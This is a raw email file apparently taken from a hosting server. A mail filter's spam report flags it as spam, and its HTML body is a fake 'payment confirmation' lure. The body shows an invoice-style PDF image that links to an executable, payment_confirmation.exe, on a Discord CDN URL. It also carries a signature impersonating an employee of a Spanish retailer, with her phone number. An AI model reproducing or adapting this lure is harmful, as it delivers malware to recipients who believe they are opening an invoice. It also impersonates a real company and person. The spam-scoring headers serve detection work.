JezK
Edit File: 1783519484.M987375P3264746.ng-shost103.tenten.vn,S=7203,W=7326
Return-Path: <cristina.gandia@diagroup.com> Delivered-To: ygse2u4nhwzo@ng-shost103.tenten.vn Received: from ng-shost103.tenten.vn by ng-shost103.tenten.vn with LMTP id WxfyN/xYTmrq0DEA0NYCOQ (envelope-from <cristina.gandia@diagroup.com>) for <ygse2u4nhwzo@ng-shost103.tenten.vn>; Wed, 08 Jul 2026 21:04:44 +0700 Return-path: <cristina.gandia@diagroup.com> Envelope-to: lienhe@lednhattao.com Delivery-date: Wed, 08 Jul 2026 21:04:44 +0700 Received: from [64.89.163.181] (port=57225 helo=diagroup.com) by ng-shost103.tenten.vn with esmtp (Exim 4.99.4) (envelope-from <cristina.gandia@diagroup.com>) id 1whStF-0000000Dg3d-26CA for lienhe@lednhattao.com; Wed, 08 Jul 2026 21:04:44 +0700 From: cristina<cristina.gandia@diagroup.com To: lienhe@lednhattao.com Date: 8 Jul 2026 15:03:57 +0100 Message-ID: <20260708150356.466CD7CA73FD86F6@diagroup.com> MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: quoted-printable X-Spam-Status: Yes, score=46.7 X-Spam-Score: 467 X-Spam-Bar: ++++++++++++++++++++++++++++++++++++++++++++++ X-Spam-Report: Spam detection software, running on the system "ng-shost103.tenten.vn", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: Dear Sir, Please Find The Attached payment confirmation. Content analysis details: (46.7 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.5 RCVD_IN_HOSTKARMA_BR RBL: Sender listed in HOSTKARMA-BROWN [64.89.163.181 listed in hostkarma.junkemailfilter.com] 6.2 RCVD_IN_MSPIKE_L5 RBL: Very bad reputation (-5) [64.89.163.181 listed in bl.mailspike.net] 0.0 RCVD_IN_DNSWL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to DNSWL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#DnsBlocklists-dnsbl-block for more information. [64.89.163.181 listed in list.dnswl.org] 1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net [Blocked - see <https://www.spamcop.net/bl.shtml?64.89.163.181>] 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URI: discordapp.com] 2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL [64.89.163.181 listed in psbl.surriel.com] 4.0 SPF_FAIL SPF: sender does not match SPF record (fail) [SPF failed: Rejected by SPF record.] 4.0 SPF_HELO_FAIL SPF: HELO does not match SPF record (fail) [SPF failed: Rejected by SPF record.] 0.2 KAM_DMARC_NONE DKIM has Failed or SPF has failed on the message and the domain has no DMARC policy 0.0 RCVD_IN_MSPIKE_BL Mailspike blocklisted 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 1.7 DEAR_SOMETHING BODY: Contains 'Dear (something)' 0.5 SUBJ_ALL_CAPS Subject is all capitals 0.7 HTML_IMAGE_ONLY_28 BODY: HTML: images with 2400-2800 bytes of words 0.0 HTML_IMAGE_RATIO_08 BODY: HTML has a low ratio of text to image area 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.0 HTML_MESSAGE BODY: HTML included in message 1.7 FROM_MISSP_SPF_FAIL No description available. 2.0 KAM_INVFROM Invalid From Header containing mismatched <>'s 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS 4.5 KAM_DISCORDCDN Abuse of Discord CDN in spams 2.0 MIXED_HREF_CASE Has href in mixed case 2.5 TO_NO_BRKTS_FROM_MSSP Multiple header formatting problems 2.0 FROM_MISSP_EH_MATCH From misspaced, matches envelope 6.0 KAM_DISCORDCDN_BAD Extra Dangerous Discord CDN Content in spams 2.0 TO_NO_BRKTS_NORDNS_HTML To: lacks brackets and no rDNS and HTML only 0.0 T_REMOTE_IMAGE Message contains an external image X-Spam-Flag: YES Subject: ***SPAM*** INVOICE AND DELIVERY NOTES X-From-Rewrite: unmodified, forwarded message <HTML><HEAD> <META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD> <BODY><SPAN data-teams=3D"true"><SPAN data-teams=3D"true"> <P><SPAN>Dear Sir,</SPAN></P> <P><SPAN>Please Find The Attached payment confirmation.<BR><BR><A href=3D"h= ttps://cdn.discordapp.com/attachments/1522525781073330266/15243772478159626= 24/payment_confirmation.exe?ex=3D6a4f8671&is=3D6a4e34f1&hm=3D5a4ac7= 4d07fbb0a58633024de614d6db7735ffb1832c129ffb9d79ebc96e8395&"><img style= =3D"HEIGHT: 121px; WIDTH: 197px" border=3D"0" hspace=3D"0" alt=3D"" src=3D"= cid:invoice.pdf.png" width=3D"185" align=3D"baseline" height=3D"121"></A></= SPAN></P> <P><SPAN>Saludos cordiales,<BR><BR>Gracias<BR>Un saludo</P> <DIV style=3D"FONT-SIZE: small; FONT-FAMILY: Arial, Helvetica, sans-serif; = WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: = 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTE= R-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; fo= nt-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-strok= e-width: 0px; text-decoration-thickness: initial; text-decoration-style: in= itial; text-decoration-color: initial"> <DIV class=3Dgmail_signature dir=3Dltr data-smartmail=3D"gmail_signature"> <DIV dir=3Dltr> <DIV style=3D"COLOR: rgb(136,136,136)" dir=3Dltr><STRONG><IMG class=3DCToWU= d src=3D"https://lh7-us.googleusercontent.com/eY0aPnKcSuqd8pT1nt0IbZ9txDBc5= -S6N_-U2ov-Zp2kX2HcZTjQ6P2E_6ZtrtL-hk3o1jA-fXHfvMTgUQOf8mGclPsIqzxXqzZwzuGa= _tDnc45Qg3R58pzcvxQK66c6qbLyoXZYIREcGKE7eniUlHw" width=3D96 height=3D96 dat= a-bit=3D"iit" crossorigin=3D""></STRONG><SPAN style=3D'FONT-FAMILY: "comic = sans ms", sans-serif'><BR></SPAN></DIV> <DIV style=3D"COLOR: rgb(136,136,136)" dir=3Dltr><SPAN style=3D'FONT-FAMILY= : "comic sans ms", sans-serif'><STRONG>Cristina Gandía Grával= os</STRONG></SPAN></DIV> <DIV style=3D"COLOR: rgb(136,136,136)" dir=3Dltr><STRONG>Administrativa pro= yectos y obras.<BR>SCOM Centralizado (Dia España)</STRONG><FONT face= =3D"comic sans ms, sans-serif"><BR></FONT></DIV> <DIV style=3D"COLOR: rgb(136,136,136)" dir=3Dltr><SPAN style=3D'FONT-FAMILY= : "comic sans ms", sans-serif'><STRONG>Teléfono: 647.304.615 Ext: 40= 499</STRONG></SPAN><FONT face=3D"comic sans ms, sans-serif"><BR></FONT></DI= V> <DIV style=3D"COLOR: rgb(136,136,136)"><SPAN style=3D'FONT-FAMILY: "comic s= ans ms", sans-serif'><A style=3D"COLOR: rgb(17,85,204)" target=3D_blank><ST= RONG>cristina.gandia@diagroup.com</STRONG></A></SPAN></DIV></DIV></DIV></DI= V></SPAN></SPAN></SPAN></BODY></HTML>